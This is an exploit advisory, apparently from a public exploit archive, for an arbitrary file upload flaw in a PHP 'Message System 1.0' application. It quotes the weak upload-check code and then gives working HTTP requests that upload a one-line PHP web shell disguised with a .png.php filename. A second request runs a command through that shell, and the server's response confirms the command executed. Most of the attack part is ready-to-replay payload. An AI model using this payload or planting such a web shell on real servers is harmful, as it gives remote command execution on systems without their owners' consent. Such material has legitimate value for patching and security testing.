Message System 1.0 Shell Upload

`# Title: Message System 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 29.07.2022  
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html  
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload image files  
  
```  
if(isset($_FILES['image']) && $_FILES['image']['tmp_name'] != ''){  
if(!is_dir(base_app."uploads/users"))  
mkdir(base_app."uploads/users");  
$fname = 'uploads/users/avatar-'.$uid.'.png';  
$dir_path =base_app. $fname;  
$upload = $_FILES['image']['tmp_name'];  
$type = mime_content_type($upload);  
$allowed = array('image/png','image/jpeg');  
if(!in_array($type,$allowed)){  
$resp['msg'].=" But Image failed to upload due to invalid file type.";  
}else{  
$new_height = 200;   
$new_width = 200;   
```  
  
  
[+] Payload POST  
  
  
```  
POST /pmms/registration.php?id=1&firstname=Admin&middlename=admin&lastname=admin&gender=Male&dob=2022-03-30&username=Admin&password=Admin12345A%40%23&image=0day_Hejap.png HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=jj352kdlpp0ib5lu0v5ddm199m  
Upgrade-Insecure-Requests: 1  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="image"; filename="0day_hejap.png.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /pmms/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1  
  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41  
Upgrade-Insecure-Requests: 1  
  
  
  
  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Tue, 29 Mar 2022 12:45:59 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Access-Control-Allow-Origin: *  
Content-Length: 12  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
Hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
  
https://i.imgur.com/7mZnH7L.png  
https://i.imgur.com/rDdybxC.png  
  
`